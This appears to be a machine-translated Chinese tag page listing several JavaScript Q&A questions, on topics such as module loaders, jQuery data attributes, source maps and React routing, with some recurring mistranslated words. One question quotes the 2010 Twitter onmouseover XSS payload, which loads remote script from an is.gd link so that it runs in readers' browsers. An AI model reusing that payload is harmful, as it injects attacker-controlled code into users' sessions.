Tag: JavaScript

执行JavaScript代码尴尬的方式

在Flask应用程序中实现Google+login的Google 教程中 ,我发现开发人员经常使用一种尴尬的方式来执行JavaScript代码: 而不是做 var a = foo(bar); 我看到这个: var a = (function() { return foo(bar); })(); 奇怪的做法是什么原因?

节点式的需要在浏览器中的JavaScript?

浏览器中是否有任何JavaScript库提供与Node require的相同的灵活性/模块性/易用性? 要提供更多的细节: require的原因是如此之好,它是: 允许从其他位置dynamic加载代码(在我看来,在风格上更好,而不是链接HTML中的所有代码) 它为构build模块提供了一致的界面 模块很容易依赖于其他模块(所以我可以编写一个需要jQuery的API,这样我就可以使用jQuery.ajax() 加载的javascript是有作用域的 ,这意味着我可以加载var dsp = require("dsp.js"); 我可以访问dsp.FFT ,这不会干扰我的本地var FFT 我还没有find一个有效的库。 我倾向于使用的解决方法是: coffeescript-concat – 很容易要求其他的js,但是你必须编译它,这意味着它对于快速开发来说不是那么好(比如构buildAPI in-test) RequireJS – 它很stream行,直接,解决1-3,但是缺less范围是一个真正的破产 (我相信head.js是相似的,因为它缺乏范围,但我从来没有任何机会使用它。同样, LABjs可以加载, .wait()可以.wait()依赖关系问题,但是它仍然没有做范围界定) 据我所知,似乎有很多的dynamic和/或asynchronous加载的解决scheme,但他们往往有相同的范围问题,只是从HTML加载js。 更重要的是,我想要一种方法来加载JavaScript,根本不污染全局名称空间,但仍然允许我加载和使用库(就像节点的要求一样)。 编辑(我的答案):由于写这个,我已经广泛使用了RequireJS (现在有更清晰的文档)。 在我看来,RequireJS确实是正确的select。 我想澄清这个系统对那些和我一样困惑的人是如何工作的: 你可以在日常开发中使用require 。 一个模块可以是一个函数(通常是一个对象或一个函数)返回的任何东西,并且作为参数作用域。 您也可以使用r.js将您的项目编译成单个文件进行部署(实际上,即使require可以并行加载脚本,这几乎总是更快)。 RequireJS和node-style之间的主要区别在于像browserify(由tjamesonbuild议的一个很酷的项目)使用的是模块的devise和要求的方式: RequireJS使用AMD(asynchronous模块定义)。 在AMD中, require需要一个模块列表(javascript文件)来加载和callback函数。 当它加载了每个模块时,它将调用每个模块的callback作为callback的参数。 因此,它确实是asynchronous的,因此非常适合于networking。 节点使用CommonJS。 在CommonJS中, require是一个阻塞调用,它加载一个模块并将其作为一个对象返回。 这适用于Node,因为文件是从文件系统中读取的,速度足够快,但在networking上效果不佳,因为同步加载文件可能需要更长的时间。 在实践中,许多开发者在看到AMD之前就已经使用了Node(以及CommonJS)。 另外,许多库/模块是为CommonJS编写的(通过向导出对象添加东西)而不是AMD(通过从define函数返回模块)。 因此,许多Node-turned-Web开发人员想要在Web上使用CommonJS库。 这是可能的,因为从<script>标记加载被阻止。 像browserify这样的解决scheme采取CommonJS(节点)模块,并包装起来,所以你可以包含脚本标签。 因此,如果您正在为Web开发自己的多文件项目,我强烈build议RequireJS,因为它是真正的Web模块系统(尽pipe在公平的披露中,我发现AMD比CommonJS更自然)。 最近,这个区别变得不太重要,因为RequireJS现在允许你基本上使用CommonJS语法。 另外,RequireJS可以用来在Node中加载AMD模块(尽pipe我更喜欢node-amd-loader […]

JS:什么时候元素变成可见的事件监听器?

我正在构build一个要包含在页面中的工具栏。 它将被包含在div中将默认显示:无 。 有没有办法我可以把一个事件监听器在我的工具栏上,以听取什么时候变得可见,所以它可以初始化? 或者我将不得不从包含页面传递一个variables? 谢谢

如何在Mozilla Firefox Developer Console中禁用粘贴保护?

我注意到,在Mozilla Firefox的最新版本中,有一个超级烦人的超级bug,它会禁用粘贴到开发者控制台中。 这必须是有史以来最糟糕的想法。 不过,我试图通过键入所需的文本,但我仍然可以不粘贴的东西,我想我很快就会非常恼火,我必须切换浏览器,因为我使用开发者控制台每天。 我真的很喜欢Mozilla和Firefox,不想改变这样一个愚蠢的事情。 那么如何closures这个蹩脚的“function”呢? 我真的希望有一个设置,但我找不到一个。 如果没有,我想我将不得不打开一个错误票。 我的Firefox版本是 :32.0.3 如果任何Firefox开发人员看到这一点,请停止实施使开发人员发疯的function。 无论如何,开发者控制台中没有任何非开发者,如果他们被欺骗地粘贴,那不是你的错。

有没有一个很好的Node.js的索引/search引擎?

我在为一个node.js应用程序寻找一个很好的开源 (使用LGPL或许可许可证)索引引擎,就像Lucene一样。 我正在寻找进程中的索引和search,而不喜欢索引Sphinx或Solr等服务器。 我不害怕为C / C ++库创build绑定,所以我也接受这些build议。 到目前为止我find了 节点clucene似乎不再积极维护(并有几个公开的问题) 我可以创build自己的CLucene绑定,但它似乎相当稀疏​​维护,其当前版本也相当落后于Java Lucene Apache Lucy似乎是为创builddynamic语言绑定而devise的,但到目前为止,他们没有节点绑定(也没有C API),我还没有find任何有关创build绑定的文档。 我也没有find任何有关其performance的基准。 似乎被放弃的节点search jsii似乎仍然是一个原型,也被遗弃 这是唯一的目的是运行在网页浏览器 lunr.js似乎只允许序列化整个索引,所以不可扩展 我可以“推出自己的”,但我更愿意使用现有的解决scheme。 编辑:为什么我对独立的索引服务器不感兴趣:我使用快速的进程内键值存储数据库,所以这将是一个非常浪费,不得不离开进程查询。

获取数据属性的jQuery与JavaScript

我有一个默认设置的自定义数据属性: data-equipment="0" 如果我改变它与jQuery使用.data() $(this).data("equipment", 10) 然后使用getAttribute() this.getAttribute("data-equipment") 我得到旧的价值(0),而不是新的(10)。 但是,如果我使用 $(this).data("equipment")我得到新值(10)。 这应该是这样的工作,还是我错过了什么? 谢谢!

在生产中使用css / javascript源地图的性能影响?

应该在生产环境中使用源图吗? 他们提供除debugging以外的任何好处吗? 他们是否影响应用程序加载时间,由于额外的服务器往返? 浏览器是否足够聪明,以加载和渲染应用程序后加载.map资产? 如果浏览器找不到.map资源( 404错误),会不会有性能影响? 我应该关心修理吗? 请注意,如果复杂的concat / minify构build步骤,修复最后一个可能不如服务.map资产那么简单。

JavaScript对象属性可以引用同一个对象的另一个属性吗?

我最近试图创build一个像这样的对象: var carousel = { $slider: $('#carousel1 .slider'), panes: carousel.$slider.children().length }; 我的意图是通过在对象属性中caching$('#carousel1 .slider')的结果来提高jQuery的select器性能,并保持代码的简洁和相对干燥。 但是,这不起作用。 当代码执行时,它试图parsingpanes的值时,抛出一个exception,抱怨carousel是未定义的。 这是有道理的,因为我假定在转让声明完全执行之前carousel没有被完全声明。 不过,我想避免诉诸这个: var carousel = {}; carousel.$slider = $('#carousel1 .slider'); carousel.panes = carousel.$slider.children().length; 这并不是太糟糕,但carousel对象将有更多的属性,依赖于其他属性的值,以便可以很快变得冗长。 我试过使用this ,但无济于事。 我可能没有正确地使用它,或者这可能不是一个有效的方法。 有没有一种方法的对象的属性引用同一个对象的其他属性,而该对象仍在宣布? 基于Matthew Flaschen和casablanca的答案(谢谢,伙计们!),我认为这些是我最终得到的基于每种方法的版本: // Matthew Flaschen var carousel = new (function() { this.$carousel = $('.carousel'); this.$carousel_window = this.$carousel.find('.window'); this.$carousel_slider = this.$carousel.find('.slider'); this.$first_pane = […]

twitter.com上今天的XSS onmouseover漏洞利用

你能解释一下今天在Twitter上发生了什么? 基本上这个漏洞使人们发布一条包含这个链接的推文: http://t.co/@"style="font-size:999999999999px;"onmouseover="$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')"/ 这在技术上是XSS攻击还是其他? 以下是Twitter主页的样子: http : //www.flickr.com/photos/travelist/6832853140/

React路由器授权

在元件安装之前进行授权检查的最佳做法是什么? 我使用react-router 1.x 这是我的路线 React.render(( <Router history={History.createHistory()}> <Route path="/" component={Dashboard}></Route> <Route path="/login" component={LoginForm}></Route> </Router> ), document.body); 这是我的仪表板组件: var Dashboard = React.createClass({ componentWillMount: function () { // I want to check authorization here // If the user is not authorized they should be redirected to the login page. // What is the right way to perform […]